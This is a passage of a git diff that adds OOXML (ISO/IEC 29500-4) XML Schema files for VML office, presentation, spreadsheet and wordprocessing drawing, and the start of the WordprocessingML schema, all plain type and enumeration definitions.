type="xsd:string" use="optional"/> + <xsd:attribute name="matrix" type="xsd:string" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Extrusion"> + <xsd:attributeGroup ref="v:AG_Ext"/> + <xsd:attribute name="on" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="type" type="ST_ExtrusionType" default="parallel" use="optional"/> + <xsd:attribute name="render" type="ST_ExtrusionRender" default="solid" use="optional"/> + <xsd:attribute name="viewpointorigin" type="xsd:string" use="optional"/> + <xsd:attribute name="viewpoint" type="xsd:string" use="optional"/> + <xsd:attribute name="plane" type="ST_ExtrusionPlane" default="XY" use="optional"/> + <xsd:attribute name="skewangle" type="xsd:float" use="optional"/> + <xsd:attribute name="skewamt" type="xsd:string" use="optional"/> + <xsd:attribute name="foredepth" type="xsd:string" use="optional"/> + <xsd:attribute name="backdepth" type="xsd:string" use="optional"/> + <xsd:attribute name="orientation" type="xsd:string" use="optional"/> + <xsd:attribute name="orientationangle" type="xsd:float" use="optional"/> + <xsd:attribute name="lockrotationcenter" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="autorotationcenter" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="rotationcenter" type="xsd:string" use="optional"/> + <xsd:attribute name="rotationangle" type="xsd:string" use="optional"/> + <xsd:attribute name="colormode" type="ST_ColorMode" use="optional"/> + <xsd:attribute name="color" type="s:ST_ColorType" use="optional"/> + <xsd:attribute name="shininess" type="xsd:float" use="optional"/> + <xsd:attribute name="specularity" type="xsd:string" use="optional"/> + <xsd:attribute name="diffusity" type="xsd:string" use="optional"/> + <xsd:attribute name="metal" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="edge" type="xsd:string" use="optional"/> + <xsd:attribute name="facet" type="xsd:string" use="optional"/> + <xsd:attribute name="lightface" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="brightness" type="xsd:string" use="optional"/> + <xsd:attribute name="lightposition" type="xsd:string" use="optional"/> + <xsd:attribute name="lightlevel" type="xsd:string" use="optional"/> + <xsd:attribute name="lightharsh" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="lightposition2" type="xsd:string" use="optional"/> + <xsd:attribute name="lightlevel2" type="xsd:string" use="optional"/> + <xsd:attribute name="lightharsh2" type="s:ST_TrueFalse" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Callout"> + <xsd:attributeGroup ref="v:AG_Ext"/> + <xsd:attribute name="on" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="type" type="xsd:string" use="optional"/> + <xsd:attribute name="gap" type="xsd:string" use="optional"/> + <xsd:attribute name="angle" type="ST_Angle" use="optional"/> + <xsd:attribute name="dropauto" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="drop" type="ST_CalloutDrop" use="optional"/> + <xsd:attribute name="distance" type="xsd:string" use="optional"/> + <xsd:attribute name="lengthspecified" type="s:ST_TrueFalse" default="f" use="optional"/> + <xsd:attribute name="length" type="xsd:string" use="optional"/> + <xsd:attribute name="accentbar" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="textborder" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="minusx" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="minusy" type="s:ST_TrueFalse" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Lock"> + <xsd:attributeGroup ref="v:AG_Ext"/> + <xsd:attribute name="position" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="selection" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="grouping" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="ungrouping" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="rotation" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="cropping" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="verticies" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="adjusthandles" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="text" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="aspectratio" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="shapetype" type="s:ST_TrueFalse" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_OLEObject"> + <xsd:sequence> + <xsd:element name="LinkType" type="ST_OLELinkType" minOccurs="0"/> + <xsd:element name="LockedField" type="s:ST_TrueFalseBlank" minOccurs="0"/> + <xsd:element name="FieldCodes" type="xsd:string" minOccurs="0"/> + </xsd:sequence> + <xsd:attribute name="Type" type="ST_OLEType" use="optional"/> + <xsd:attribute name="ProgID" type="xsd:string" use="optional"/> + <xsd:attribute name="ShapeID" type="xsd:string" use="optional"/> + <xsd:attribute name="DrawAspect" type="ST_OLEDrawAspect" use="optional"/> + <xsd:attribute name="ObjectID" type="xsd:string" use="optional"/> + <xsd:attribute ref="r:id" use="optional"/> + <xsd:attribute name="UpdateMode" type="ST_OLEUpdateMode" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Complex"> + <xsd:attributeGroup ref="v:AG_Ext"/> + </xsd:complexType> + <xsd:complexType name="CT_StrokeChild"> + <xsd:attributeGroup ref="v:AG_Ext"/> + <xsd:attribute name="on" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="weight" type="xsd:string" use="optional"/> + <xsd:attribute name="color" type="s:ST_ColorType" use="optional"/> + <xsd:attribute name="color2" type="s:ST_ColorType" use="optional"/> + <xsd:attribute name="opacity" type="xsd:string" use="optional"/> + <xsd:attribute name="linestyle" type="v:ST_StrokeLineStyle" use="optional"/> + <xsd:attribute name="miterlimit" type="xsd:decimal" use="optional"/> + <xsd:attribute name="joinstyle" type="v:ST_StrokeJoinStyle" use="optional"/> + <xsd:attribute name="endcap" type="v:ST_StrokeEndCap" use="optional"/> + <xsd:attribute name="dashstyle" type="xsd:string" use="optional"/> + <xsd:attribute name="insetpen" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="filltype" type="v:ST_FillType" use="optional"/> + <xsd:attribute name="src" type="xsd:string" use="optional"/> + <xsd:attribute name="imageaspect" type="v:ST_ImageAspect" use="optional"/> + <xsd:attribute name="imagesize" type="xsd:string" use="optional"/> + <xsd:attribute name="imagealignshape" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="startarrow" type="v:ST_StrokeArrowType" use="optional"/> + <xsd:attribute name="startarrowwidth" type="v:ST_StrokeArrowWidth" use="optional"/> + <xsd:attribute name="startarrowlength" type="v:ST_StrokeArrowLength" use="optional"/> + <xsd:attribute name="endarrow" type="v:ST_StrokeArrowType" use="optional"/> + <xsd:attribute name="endarrowwidth" type="v:ST_StrokeArrowWidth" use="optional"/> + <xsd:attribute name="endarrowlength" type="v:ST_StrokeArrowLength" use="optional"/> + <xsd:attribute ref="href"/> + <xsd:attribute ref="althref"/> + <xsd:attribute ref="title"/> + <xsd:attribute ref="forcedash"/> + </xsd:complexType> + <xsd:complexType name="CT_ClipPath"> + <xsd:attribute name="v" type="xsd:string" use="required" form="qualified"/> + </xsd:complexType> + <xsd:complexType name="CT_Fill"> + <xsd:attributeGroup ref="v:AG_Ext"/> + <xsd:attribute name="type" type="ST_FillType"/> + </xsd:complexType> + <xsd:simpleType name="ST_RType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="arc"/> + <xsd:enumeration value="callout"/> + <xsd:enumeration value="connector"/> + <xsd:enumeration value="align"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_How"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="top"/> + <xsd:enumeration value="middle"/> + <xsd:enumeration value="bottom"/> + <xsd:enumeration value="left"/> + <xsd:enumeration value="center"/> + <xsd:enumeration value="right"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_BWMode"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="color"/> + <xsd:enumeration value="auto"/> + <xsd:enumeration value="grayScale"/> + <xsd:enumeration value="lightGrayscale"/> + <xsd:enumeration value="inverseGray"/> + <xsd:enumeration value="grayOutline"/> + <xsd:enumeration value="highContrast"/> + <xsd:enumeration value="black"/> + <xsd:enumeration value="white"/> + <xsd:enumeration value="hide"/> + <xsd:enumeration value="undrawn"/> + <xsd:enumeration value="blackTextAndLines"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_ScreenSize"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="544,376"/> + <xsd:enumeration value="640,480"/> + <xsd:enumeration value="720,512"/> + <xsd:enumeration value="800,600"/> + <xsd:enumeration value="1024,768"/> + <xsd:enumeration value="1152,862"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_InsetMode"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="auto"/> + <xsd:enumeration value="custom"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_ColorMode"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="auto"/> + <xsd:enumeration value="custom"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_ContentType"> + <xsd:restriction base="xsd:string"/> + </xsd:simpleType> + <xsd:simpleType name="ST_DiagramLayout"> + <xsd:restriction base="xsd:integer"> + <xsd:enumeration value="0"/> + <xsd:enumeration value="1"/> + <xsd:enumeration value="2"/> + <xsd:enumeration value="3"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_ExtrusionType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="perspective"/> + <xsd:enumeration value="parallel"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_ExtrusionRender"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="solid"/> + <xsd:enumeration value="wireFrame"/> + <xsd:enumeration value="boundingCube"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_ExtrusionPlane"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="XY"/> + <xsd:enumeration value="ZX"/> + <xsd:enumeration value="YZ"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_Angle"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="any"/> + <xsd:enumeration value="30"/> + <xsd:enumeration value="45"/> + <xsd:enumeration value="60"/> + <xsd:enumeration value="90"/> + <xsd:enumeration value="auto"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_CalloutDrop"> + <xsd:restriction base="xsd:string"/> + </xsd:simpleType> + <xsd:simpleType name="ST_CalloutPlacement"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="top"/> + <xsd:enumeration value="center"/> + <xsd:enumeration value="bottom"/> + <xsd:enumeration value="user"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_ConnectorType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="straight"/> + <xsd:enumeration value="elbow"/> + <xsd:enumeration value="curved"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_HrAlign"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="left"/> + <xsd:enumeration value="right"/> + <xsd:enumeration value="center"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_ConnectType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="rect"/> + <xsd:enumeration value="segments"/> + <xsd:enumeration value="custom"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_OLELinkType"> + <xsd:restriction base="xsd:string"/> + </xsd:simpleType> + <xsd:simpleType name="ST_OLEType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="Embed"/> + <xsd:enumeration value="Link"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_OLEDrawAspect"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="Content"/> + <xsd:enumeration value="Icon"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_OLEUpdateMode"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="Always"/> + <xsd:enumeration value="OnCall"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_FillType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="gradientCenter"/> + <xsd:enumeration value="solid"/> + <xsd:enumeration value="pattern"/> + <xsd:enumeration value="tile"/> + <xsd:enumeration value="frame"/> + <xsd:enumeration value="gradientUnscaled"/> + <xsd:enumeration value="gradientRadial"/> + <xsd:enumeration value="gradient"/> + <xsd:enumeration value="background"/> + </xsd:restriction> + </xsd:simpleType> +</xsd:schema> diff --git a/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-presentationDrawing.xsd b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-presentationDrawing.xsd new file mode 100644 index 00000000..dd079e60 --- /dev/null +++ b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-presentationDrawing.xsd @@ -0,0 +1,12 @@ +<?xml version="1.0" encoding="utf-8"?> +<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" + xmlns="urn:schemas-microsoft-com:office:powerpoint" + targetNamespace="urn:schemas-microsoft-com:office:powerpoint" elementFormDefault="qualified" + attributeFormDefault="unqualified"> + <xsd:element name="iscomment" type="CT_Empty"/> + <xsd:element name="textdata" type="CT_Rel"/> + <xsd:complexType name="CT_Empty"/> + <xsd:complexType name="CT_Rel"> + <xsd:attribute name="id" type="xsd:string"/> + </xsd:complexType> +</xsd:schema> diff --git a/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-spreadsheetDrawing.xsd b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-spreadsheetDrawing.xsd new file mode 100644 index 00000000..3dd6cf62 --- /dev/null +++ b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-spreadsheetDrawing.xsd @@ -0,0 +1,108 @@ +<?xml version="1.0" encoding="utf-8"?> +<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" + xmlns="urn:schemas-microsoft-com:office:excel" + xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" + targetNamespace="urn:schemas-microsoft-com:office:excel" elementFormDefault="qualified" + attributeFormDefault="unqualified"> + <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" + schemaLocation="shared-commonSimpleTypes.xsd"/> + <xsd:element name="ClientData" type="CT_ClientData"/> + <xsd:complexType name="CT_ClientData"> + <xsd:choice minOccurs="0" maxOccurs="unbounded"> + <xsd:element name="MoveWithCells" type="s:ST_TrueFalseBlank"/> + <xsd:element name="SizeWithCells" type="s:ST_TrueFalseBlank"/> + <xsd:element name="Anchor" type="xsd:string"/> + <xsd:element name="Locked" type="s:ST_TrueFalseBlank"/> + <xsd:element name="DefaultSize" type="s:ST_TrueFalseBlank"/> + <xsd:element name="PrintObject" type="s:ST_TrueFalseBlank"/> + <xsd:element name="Disabled" type="s:ST_TrueFalseBlank"/> + <xsd:element name="AutoFill" type="s:ST_TrueFalseBlank"/> + <xsd:element name="AutoLine" type="s:ST_TrueFalseBlank"/> + <xsd:element name="AutoPict" type="s:ST_TrueFalseBlank"/> + <xsd:element name="FmlaMacro" type="xsd:string"/> + <xsd:element name="TextHAlign" type="xsd:string"/> + <xsd:element name="TextVAlign" type="xsd:string"/> + <xsd:element name="LockText" type="s:ST_TrueFalseBlank"/> + <xsd:element name="JustLastX" type="s:ST_TrueFalseBlank"/> + <xsd:element name="SecretEdit" type="s:ST_TrueFalseBlank"/> + <xsd:element name="Default" type="s:ST_TrueFalseBlank"/> + <xsd:element name="Help" type="s:ST_TrueFalseBlank"/> + <xsd:element name="Cancel" type="s:ST_TrueFalseBlank"/> + <xsd:element name="Dismiss" type="s:ST_TrueFalseBlank"/> + <xsd:element name="Accel" type="xsd:integer"/> + <xsd:element name="Accel2" type="xsd:integer"/> + <xsd:element name="Row" type="xsd:integer"/> + <xsd:element name="Column" type="xsd:integer"/> + <xsd:element name="Visible" type="s:ST_TrueFalseBlank"/> + <xsd:element name="RowHidden" type="s:ST_TrueFalseBlank"/> + <xsd:element name="ColHidden" type="s:ST_TrueFalseBlank"/> + <xsd:element name="VTEdit" type="xsd:integer"/> + <xsd:element name="MultiLine" type="s:ST_TrueFalseBlank"/> + <xsd:element name="VScroll" type="s:ST_TrueFalseBlank"/> + <xsd:element name="ValidIds" type="s:ST_TrueFalseBlank"/> + <xsd:element name="FmlaRange" type="xsd:string"/> + <xsd:element name="WidthMin" type="xsd:integer"/> + <xsd:element name="Sel" type="xsd:integer"/> + <xsd:element name="NoThreeD2" type="s:ST_TrueFalseBlank"/> + <xsd:element name="SelType" type="xsd:string"/> + <xsd:element name="MultiSel" type="xsd:string"/> + <xsd:element name="LCT" type="xsd:string"/> + <xsd:element name="ListItem" type="xsd:string"/> + <xsd:element name="DropStyle" type="xsd:string"/> + <xsd:element name="Colored" type="s:ST_TrueFalseBlank"/> + <xsd:element name="DropLines" type="xsd:integer"/> + <xsd:element name="Checked" type="xsd:integer"/> + <xsd:element name="FmlaLink" type="xsd:string"/> + <xsd:element name="FmlaPict" type="xsd:string"/> + <xsd:element name="NoThreeD" type="s:ST_TrueFalseBlank"/> + <xsd:element name="FirstButton" type="s:ST_TrueFalseBlank"/> + <xsd:element name="FmlaGroup" type="xsd:string"/> + <xsd:element name="Val" type="xsd:integer"/> + <xsd:element name="Min" type="xsd:integer"/> + <xsd:element name="Max" type="xsd:integer"/> + <xsd:element name="Inc" type="xsd:integer"/> + <xsd:element name="Page" type="xsd:integer"/> + <xsd:element name="Horiz" type="s:ST_TrueFalseBlank"/> + <xsd:element name="Dx" type="xsd:integer"/> + <xsd:element name="MapOCX" type="s:ST_TrueFalseBlank"/> + <xsd:element name="CF" type="ST_CF"/> + <xsd:element name="Camera" type="s:ST_TrueFalseBlank"/> + <xsd:element name="RecalcAlways" type="s:ST_TrueFalseBlank"/> + <xsd:element name="AutoScale" type="s:ST_TrueFalseBlank"/> + <xsd:element name="DDE" type="s:ST_TrueFalseBlank"/> + <xsd:element name="UIObj" type="s:ST_TrueFalseBlank"/> + <xsd:element name="ScriptText" type="xsd:string"/> + <xsd:element name="ScriptExtended" type="xsd:string"/> + <xsd:element name="ScriptLanguage" type="xsd:nonNegativeInteger"/> + <xsd:element name="ScriptLocation" type="xsd:nonNegativeInteger"/> + <xsd:element name="FmlaTxbx" type="xsd:string"/> + </xsd:choice> + <xsd:attribute name="ObjectType" type="ST_ObjectType" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_CF"> + <xsd:restriction base="xsd:string"/> + </xsd:simpleType> + <xsd:simpleType name="ST_ObjectType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="Button"/> + <xsd:enumeration value="Checkbox"/> + <xsd:enumeration value="Dialog"/> + <xsd:enumeration value="Drop"/> + <xsd:enumeration value="Edit"/> + <xsd:enumeration value="GBox"/> + <xsd:enumeration value="Label"/> + <xsd:enumeration value="LineA"/> + <xsd:enumeration value="List"/> + <xsd:enumeration value="Movie"/> + <xsd:enumeration value="Note"/> + <xsd:enumeration value="Pict"/> + <xsd:enumeration value="Radio"/> + <xsd:enumeration value="RectA"/> + <xsd:enumeration value="Scroll"/> + <xsd:enumeration value="Spin"/> + <xsd:enumeration value="Shape"/> + <xsd:enumeration value="Group"/> + <xsd:enumeration value="Rect"/> + </xsd:restriction> + </xsd:simpleType> +</xsd:schema> diff --git a/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-wordprocessingDrawing.xsd b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-wordprocessingDrawing.xsd new file mode 100644 index 00000000..f1041e34 --- /dev/null +++ b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-wordprocessingDrawing.xsd @@ -0,0 +1,96 @@ +<?xml version="1.0" encoding="utf-8"?> +<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" + xmlns="urn:schemas-microsoft-com:office:word" + targetNamespace="urn:schemas-microsoft-com:office:word" elementFormDefault="qualified" + attributeFormDefault="unqualified"> + <xsd:element name="bordertop" type="CT_Border"/> + <xsd:element name="borderleft" type="CT_Border"/> + <xsd:element name="borderright" type="CT_Border"/> + <xsd:element name="borderbottom" type="CT_Border"/> + <xsd:complexType name="CT_Border"> + <xsd:attribute name="type" type="ST_BorderType" use="optional"/> + <xsd:attribute name="width" type="xsd:positiveInteger" use="optional"/> + <xsd:attribute name="shadow" type="ST_BorderShadow" use="optional"/> + </xsd:complexType> + <xsd:element name="wrap" type="CT_Wrap"/> + <xsd:complexType name="CT_Wrap"> + <xsd:attribute name="type" type="ST_WrapType" use="optional"/> + <xsd:attribute name="side" type="ST_WrapSide" use="optional"/> + <xsd:attribute name="anchorx" type="ST_HorizontalAnchor" use="optional"/> + <xsd:attribute name="anchory" type="ST_VerticalAnchor" use="optional"/> + </xsd:complexType> + <xsd:element name="anchorlock" type="CT_AnchorLock"/> + <xsd:complexType name="CT_AnchorLock"/> + <xsd:simpleType name="ST_BorderType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="single"/> + <xsd:enumeration value="thick"/> + <xsd:enumeration value="double"/> + <xsd:enumeration value="hairline"/> + <xsd:enumeration value="dot"/> + <xsd:enumeration value="dash"/> + <xsd:enumeration value="dotDash"/> + <xsd:enumeration value="dashDotDot"/> + <xsd:enumeration value="triple"/> + <xsd:enumeration value="thinThickSmall"/> + <xsd:enumeration value="thickThinSmall"/> + <xsd:enumeration value="thickBetweenThinSmall"/> + <xsd:enumeration value="thinThick"/> + <xsd:enumeration value="thickThin"/> + <xsd:enumeration value="thickBetweenThin"/> + <xsd:enumeration value="thinThickLarge"/> + <xsd:enumeration value="thickThinLarge"/> + <xsd:enumeration value="thickBetweenThinLarge"/> + <xsd:enumeration value="wave"/> + <xsd:enumeration value="doubleWave"/> + <xsd:enumeration value="dashedSmall"/> + <xsd:enumeration value="dashDotStroked"/> + <xsd:enumeration value="threeDEmboss"/> + <xsd:enumeration value="threeDEngrave"/> + <xsd:enumeration value="HTMLOutset"/> + <xsd:enumeration value="HTMLInset"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_BorderShadow"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="t"/> + <xsd:enumeration value="true"/> + <xsd:enumeration value="f"/> + <xsd:enumeration value="false"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_WrapType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="topAndBottom"/> + <xsd:enumeration value="square"/> + <xsd:enumeration value="none"/> + <xsd:enumeration value="tight"/> + <xsd:enumeration value="through"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_WrapSide"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="both"/> + <xsd:enumeration value="left"/> + <xsd:enumeration value="right"/> + <xsd:enumeration value="largest"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_HorizontalAnchor"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="margin"/> + <xsd:enumeration value="page"/> + <xsd:enumeration value="text"/> + <xsd:enumeration value="char"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_VerticalAnchor"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="margin"/> + <xsd:enumeration value="page"/> + <xsd:enumeration value="text"/> + <xsd:enumeration value="line"/> + </xsd:restriction> + </xsd:simpleType> +</xsd:schema> diff --git a/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/wml.xsd b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/wml.xsd new file mode 100644 index 00000000..9c5b7a63 --- /dev/null +++ b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/wml.xsd @@ -0,0 +1,3646 @@ +<?xml version="1.0" encoding="utf-8"?> +<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" + xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" + xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" + xmlns:sl="http://schemas.openxmlformats.org/schemaLibrary/2006/main" + xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" + xmlns="http://schemas.openxmlformats.org/wordprocessingml/2006/main" + xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" + xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" + elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" + targetNamespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main"> + <xsd:import namespace="http://schemas.openxmlformats.org/markup-compatibility/2006" schemaLocation="../mce/mc.xsd"/> + <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" + schemaLocation="dml-wordprocessingDrawing.xsd"/> + <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/math" + schemaLocation="shared-math.xsd"/> + <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" + schemaLocation="shared-relationshipReference.xsd"/> + <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" + schemaLocation="shared-commonSimpleTypes.xsd"/> + <xsd:import namespace="http://schemas.openxmlformats.org/schemaLibrary/2006/main" + schemaLocation="shared-customXmlSchemaProperties.xsd"/> + <xsd:import namespace="http://www.w3.org/XML/1998/namespace"/> + <xsd:complexType name="CT_Empty"/> + <xsd:complexType name="CT_OnOff"> + <xsd:attribute name="val" type="s:ST_OnOff"/> + </xsd:complexType> + <xsd:simpleType name="ST_LongHexNumber"> + <xsd:restriction base="xsd:hexBinary"> + <xsd:length value="4"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_LongHexNumber"> + <xsd:attribute name="val" type="ST_LongHexNumber" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_ShortHexNumber"> + <xsd:restriction base="xsd:hexBinary"> + <xsd:length value="2"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_UcharHexNumber"> + <xsd:restriction base="xsd:hexBinary"> + <xsd:length value="1"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Charset"> + <xsd:attribute name="val" type="ST_UcharHexNumber" use="optional"/> + <xsd:attribute name="characterSet" type="s:ST_String" use="optional" default="ISO-8859-1"/> + </xsd:complexType> + <xsd:simpleType name="ST_DecimalNumberOrPercent"> + <xsd:union memberTypes="ST_UnqualifiedPercentage s:ST_Percentage"/> + </xsd:simpleType> + <xsd:simpleType name="ST_UnqualifiedPercentage"> + <xsd:restriction base="xsd:decimal"/> + </xsd:simpleType> + <xsd:simpleType name="ST_DecimalNumber"> + <xsd:restriction base="xsd:integer"/> + </xsd:simpleType> + <xsd:complexType name="CT_DecimalNumber"> + <xsd:attribute name="val" type="ST_DecimalNumber" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_UnsignedDecimalNumber"> + <xsd:attribute name="val" type="s:ST_UnsignedDecimalNumber" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_DecimalNumberOrPrecent"> + <xsd:attribute name="val" type="ST_DecimalNumberOrPercent" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_TwipsMeasure"> + <xsd:attribute name="val" type="s:ST_TwipsMeasure" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_SignedTwipsMeasure"> + <xsd:union memberTypes="xsd:integer s:ST_UniversalMeasure"/> + </xsd:simpleType> + <xsd:complexType name="CT_SignedTwipsMeasure"> + <xsd:attribute name="val" type="ST_SignedTwipsMeasure" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_PixelsMeasure"> + <xsd:restriction base="s:ST_UnsignedDecimalNumber"/> + </xsd:simpleType> + <xsd:complexType name="CT_PixelsMeasure"> + <xsd:attribute name="val" type="ST_PixelsMeasure" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_HpsMeasure"> + <xsd:union memberTypes="s:ST_UnsignedDecimalNumber s:ST_PositiveUniversalMeasure"/> + </xsd:simpleType> + <xsd:complexType name="CT_HpsMeasure"> + <xsd:attribute name="val" type="ST_HpsMeasure" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_SignedHpsMeasure"> + <xsd:union memberTypes="xsd:integer s:ST_UniversalMeasure"/> + </xsd:simpleType> + <xsd:complexType name="CT_SignedHpsMeasure"> + <xsd:attribute name="val" type="ST_SignedHpsMeasure" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_DateTime"> + <xsd:restriction base="xsd:dateTime"/> + </xsd:simpleType> + <xsd:simpleType name="ST_MacroName"> + <xsd:restriction base="xsd:string"> + <xsd:maxLength value="33"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_MacroName"> + <xsd:attribute name="val" use="required" type="ST_MacroName"/> + </xsd:complexType> + <xsd:simpleType name="ST_EighthPointMeasure"> + <xsd:restriction base="s:ST_UnsignedDecimalNumber"/> + </xsd:simpleType> + <xsd:simpleType name="ST_PointMeasure"> + <xsd:restriction base="s:ST_UnsignedDecimalNumber"/> + </xsd:simpleType> + <xsd:complexType name="CT_String"> + <xsd:attribute name="val" type="s:ST_String" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_TextScale"> + <xsd:union memberTypes="ST_TextScalePercent ST_TextScaleDecimal"/> + </xsd:simpleType> + <xsd:simpleType name="ST_TextScalePercent"> + <xsd:restriction base="xsd:string"> + <xsd:pattern value="0*(600|([0-5]?[0-9]?[0-9]))%"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType 